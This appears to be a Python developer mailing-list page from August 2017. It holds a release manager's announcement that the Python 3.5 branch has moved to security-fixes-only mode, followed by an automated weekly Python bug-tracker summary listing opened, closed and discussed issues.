
3 4

Python 3.5 has now transitioned to "security fixes only" mode
by Larry Hastings Aug. 8, 2017

Aug. 8, 2017

The Python 3.5 branch has now entered "security fixes only" mode. No more bugfixes will be accepted into the 3.5 branch. In keeping with our modern workflow, I have changed the permissions on the 3.5 branch on Github so that only release managers can accept PRs into the branch. Please add me to your 3.5 security fix PRs, as I'm the one responsible for accepting them. (This was already true for the 3.4 branch, too.) I neglected to mention it in the release announcement, but this transition also means no more binary installers for 3.5 releases. This signals the end of my interactions with macOS Platform Expert Ned Deily and Windows Platform Expert Steve Dower when making releases. I just wanted to mention what a pleasure it has been working with those two gentlemen for the two Python releases I've RM'd for. They've made me look good every time. Cheers, //arry/

1 0

Summary of Python tracker Issues
by Python tracker Aug. 4, 2017

Aug. 4, 2017

ACTIVITY SUMMARY (2017-07-28 - 2017-08-04) Python tracker at http://bugs.python.org/ To view or respond to any of the issues listed below, click on the issue. Do NOT respond to this message. Issues counts and deltas: open 6100 (+12) closed 36774 (+38) total 42874 (+50) Open issues with patches: 2337 Issues opened (33) ================== #29910: Ctrl-D eats a character on IDLE http://bugs.python.org/issue29910 reopened by terry.reedy #31072: add filter to zipapp http://bugs.python.org/issue31072 opened by irmen #31073: Change metadata handling in check command http://bugs.python.org/issue31073 opened by jambonrose #31074: Startup failure if executable is a \\?\ path on Windows http://bugs.python.org/issue31074 opened by eryksun #31075: Collections - ChainMap - Documentation example wrong order lin http://bugs.python.org/issue31075 opened by Marcos Soutullo #31076: http.server should correctly handle HTTP 1.1 responses without http://bugs.python.org/issue31076 opened by Tom Forbes #31078: pdb's debug command (Pdb.do_debug) doesn't use rawinput even i http://bugs.python.org/issue31078 opened by Segev Finer #31082: reduce takes iterable, not just sequence http://bugs.python.org/issue31082 opened by Stefan Pochmann #31087: asyncio.create_subprocess_* do not honor `encoding` http://bugs.python.org/issue31087 opened by toriningen #31088: regrtest.py: "${test_file_name} skipped" message printed twice http://bugs.python.org/issue31088 opened by Arfrever #31092: Potential multiprocessing.Manager() race condition http://bugs.python.org/issue31092 opened by Prof Plum #31093: IDLE: Add tests for configdialog extensions tab http://bugs.python.org/issue31093 opened by terry.reedy #31094: asyncio: get list of connected clients http://bugs.python.org/issue31094 opened by Dmitry Vinokurov #31095: Checking all tp_dealloc with Py_TPFLAGS_HAVE_GC http://bugs.python.org/issue31095 opened by inada.naoki #31096: asyncio.stream.FlowControlMixin._drain_helper may lead to a bl http://bugs.python.org/issue31096 opened by malinoff #31097: itertools.islice not accepting np.int64 http://bugs.python.org/issue31097 opened by braaannigan #31098: test target of Makefile always run tests in parallel mode http://bugs.python.org/issue31098 opened by Arfrever #31100: unable to open python http://bugs.python.org/issue31100 opened by Kenneth Griffin #31102: deheader: double #incude of the same file http://bugs.python.org/issue31102 opened by dilyan.palauzov #31103: Windows Installer Product Version 3.6.2150.0 Offset By 0.0.150 http://bugs.python.org/issue31103 opened by Markus Kramer #31105: Cyclic GC threshold may need tweaks http://bugs.python.org/issue31105 opened by arigo #31106: os.posix_fallocate() generate exception with errno 0 http://bugs.python.org/issue31106 opened by socketpair #31107: copyreg does not properly mangle __slots__ names http://bugs.python.org/issue31107 opened by ShaneHarvey #31108: add __contains__ for list_iterator (and others) for better per http://bugs.python.org/issue31108 opened by sir-sigurd #31109: zipimport argument clinic conversion http://bugs.python.org/issue31109 opened by jarondl #31113: Stack overflow with large program http://bugs.python.org/issue31113 opened by Wheerd #31114: 'make install' fails when exec_prefix is '/' and DESTDIR not e http://bugs.python.org/issue31114 opened by xdegaye #31115: Py3.6 threading/reference counting issues with `numexpr` http://bugs.python.org/issue31115 opened by Robert McLeod #31116: base85 z85 variant encoding http://bugs.python.org/issue31116 opened by underrun #31118: Make super() work with staticmethod by using __class__ for bot http://bugs.python.org/issue31118 opened by ashwch #31119: Signal tripped flags need memory barriers http://bugs.python.org/issue31119 opened by njs #31120: [2.7] Python 64 bit _ssl compile fails due missing buildinf_am http://bugs.python.org/issue31120 opened by hirenvadalia #31121: Unable to exit pdb when script becomes invalid http://bugs.python.org/issue31121 opened by jason.coombs Most recent 15 issues with no replies (15) ========================================== #31121: Unable to exit pdb when script becomes invalid http://bugs.python.org/issue31121 #31119: Signal tripped flags need memory barriers http://bugs.python.org/issue31119 #31118: Make super() work with staticmethod by using __class__ for bot http://bugs.python.org/issue31118 #31116: base85 z85 variant encoding http://bugs.python.org/issue31116 #31115: Py3.6 threading/reference counting issues with `numexpr` http://bugs.python.org/issue31115 #31114: 'make install' fails when exec_prefix is '/' and DESTDIR not e http://bugs.python.org/issue31114 #31098: test target of Makefile always run tests in parallel mode http://bugs.python.org/issue31098 #31096: asyncio.stream.FlowControlMixin._drain_helper may lead to a bl http://bugs.python.org/issue31096 #31094: asyncio: get list of connected clients http://bugs.python.org/issue31094 #31093: IDLE: Add tests for configdialog extensions tab http://bugs.python.org/issue31093 #31092: Potential multiprocessing.Manager() race condition http://bugs.python.org/issue31092 #31087: asyncio.create_subprocess_* do not honor `encoding` http://bugs.python.org/issue31087 #31082: reduce takes iterable, not just sequence http://bugs.python.org/issue31082 #31078: pdb's debug command (Pdb.do_debug) doesn't use rawinput even i http://bugs.python.org/issue31078 #31070: test_threaded_import: KeyError ignored in _get_module_lock.<lo http://bugs.python.org/issue31070 Most recent 15 issues waiting for review (15) ============================================= #31120: [2.7] Python 64 bit _ssl compile fails due missing buildinf_am http://bugs.python.org/issue31120 #31108: add __contains__ for list_iterator (and others) for better per http://bugs.python.org/issue31108 #31107: copyreg does not properly mangle __slots__ names http://bugs.python.org/issue31107 #31046: ensurepip does not honour the value of $(prefix) http://bugs.python.org/issue31046 #31045: Add a language switch to the Python documentation http://bugs.python.org/issue31045 #31021: Clarify programming faq. http://bugs.python.org/issue31021 #31020: Add support for custom compressor in tarfile http://bugs.python.org/issue31020 #31015: PyErr_WriteUnraisable should be more verbose in Python 2.7 http://bugs.python.org/issue31015 #31013: gcc7 throws warning when pymem.h development header is used http://bugs.python.org/issue31013 #30950: Convert round() to Arument Clinic http://bugs.python.org/issue30950 #30945: loop.create_server does not detect if the interface is IPv6 en http://bugs.python.org/issue30945 #30937: csv module examples miss newline='' when opening files http://bugs.python.org/issue30937 #30877: possibe typo in json/scanner.py http://bugs.python.org/issue30877 #30872: Update curses docs to Python 3 http://bugs.python.org/issue30872 #30867: Add macro `HAVE_OPENSSL_VERIFY_PARAM` to avoid invalid functio http://bugs.python.org/issue30867 Top 10 most discussed issues (10) ================================= #30781: IDLE: configdialog -- switch to ttk widgets. http://bugs.python.org/issue30781 9 msgs #31095: Checking all tp_dealloc with Py_TPFLAGS_HAVE_GC http://bugs.python.org/issue31095 9 msgs #30717: Add unicode grapheme cluster break algorithm http://bugs.python.org/issue30717 8 msgs #31103: Windows Installer Product Version 3.6.2150.0 Offset By 0.0.150 http://bugs.python.org/issue31103 7 msgs #31113: Stack overflow with large program http://bugs.python.org/issue31113 6 msgs #31024: typing.Tuple is class but is defined as data inside https://do http://bugs.python.org/issue31024 5 msgs #31106: os.posix_fallocate() generate exception with errno 0 http://bugs.python.org/issue31106 5 msgs #25910: Fixing links in documentation http://bugs.python.org/issue25910 4 msgs #26732: multiprocessing sentinel resource leak http://bugs.python.org/issue26732 4 msgs #30581: os.cpu_count() returns wrong number of processors on system wi http://bugs.python.org/issue30581 4 msgs Issues closed (39) ================== #5288: tzinfo objects with sub-minute offsets are not supported (e.g. http://bugs.python.org/issue5288 closed by belopolsky #18406: unicodedata.itergraphemes / str.itergraphemes / str.graphemes http://bugs.python.org/issue18406 closed by serhiy.storchaka #27470: -3 commandline option documented differently via man http://bugs.python.org/issue27470 closed by Mariatta #29304: dict: simplify lookup functions http://bugs.python.org/issue29304 closed by inada.naoki #29902: copy breaks staticmethod http://bugs.python.org/issue29902 closed by serhiy.storchaka #30522: Allow replacing a logging.StreamHandler's stream http://bugs.python.org/issue30522 closed by vinay.sajip #30803: Truth value of sets not properly documented http://bugs.python.org/issue30803 closed by terry.reedy #30853: IDLE: configdialog -- factor out VarTrace class http://bugs.python.org/issue30853 closed by terry.reedy #30897: Add a is_mount() to pathlib http://bugs.python.org/issue30897 closed by cooperlees #30962: Add caching to logging.Logger.isEnabledFor() http://bugs.python.org/issue30962 closed by vinay.sajip #30978: str.format_map() silences exceptions in __getitem__ http://bugs.python.org/issue30978 closed by serhiy.storchaka #30992: Invalid PGP Key Prevents Archive Validation http://bugs.python.org/issue30992 closed by ned.deily #31004: IDLE, configdialog: Factor out FontTab class from ConfigDialog http://bugs.python.org/issue31004 closed by terry.reedy #31027: test_listcomps fails when run directly http://bugs.python.org/issue31027 closed by terry.reedy #31028: test_pydoc fails when run directly http://bugs.python.org/issue31028 closed by serhiy.storchaka #31050: IDLE, configdialog: Factor out GenTab class from ConfigDialog http://bugs.python.org/issue31050 closed by terry.reedy #31054: Python 2.7.8 Release does not update the system Path variable http://bugs.python.org/issue31054 closed by steve.dower #31056: Import Module Not Working According To Documentation Python 3. http://bugs.python.org/issue31056 closed by brett.cannon #31061: asyncio segfault when using threadpool and "_asyncio" native m http://bugs.python.org/issue31061 closed by thehesiod #31066: FAIL: test_last_modified (test.test_httpservers.SimpleHTTPServ http://bugs.python.org/issue31066 closed by haypo #31071: *args unpacking can mask TypeErrors http://bugs.python.org/issue31071 closed by serhiy.storchaka #31077: Windows Installer Version http://bugs.python.org/issue31077 closed by steve.dower #31079: mathematically wrong results from int and long bit_length meth http://bugs.python.org/issue31079 closed by skrah #31080: Allow `logging.config.fileConfig` to accept kwargs http://bugs.python.org/issue31080 closed by vinay.sajip #31081: Release Build Failure on Ubuntu 14.04 http://bugs.python.org/issue31081 closed by pitrou #31083: IDLE: document new TabPage(Frame) design for configdialog http://bugs.python.org/issue31083 closed by terry.reedy #31084: QueueHandler not formatting messages http://bugs.python.org/issue31084 closed by vinay.sajip #31085: Add option for namedtuple to name its result type automaticall http://bugs.python.org/issue31085 closed by rhettinger #31086: Add namedattrgetter function which acts like attrgetter but us http://bugs.python.org/issue31086 closed by rhettinger #31089: email.utils.parseaddr fails on odd double quotes in multiline http://bugs.python.org/issue31089 closed by robertus #31090: import error for numpy http://bugs.python.org/issue31090 closed by mark.dickinson #31091: remove dead code in PyErr_GivenExceptionMatches() http://bugs.python.org/issue31091 closed by serhiy.storchaka #31099: Timer error pop from empty deque/list http://bugs.python.org/issue31099 closed by Randy Henderson #31101: os.remove() auto add \ in Windows2012R2 http://bugs.python.org/issue31101 closed by paul.moore #31104: posixpath.normpath truncating forward slashes from URL http://bugs.python.org/issue31104 closed by serhiy.storchaka #31110: Small typo in plistlib docs http://bugs.python.org/issue31110 closed by cwee #31111: Python 3.6 has an inaccessible attribute on FileNotFoundError http://bugs.python.org/issue31111 closed by r.david.murray #31112: cannot run module with double quotes http://bugs.python.org/issue31112 closed by eryksun #31117: Intersphinx file objects.inv missing 'list' from py:class http://bugs.python.org/issue31117 closed by r.david.murray

1 0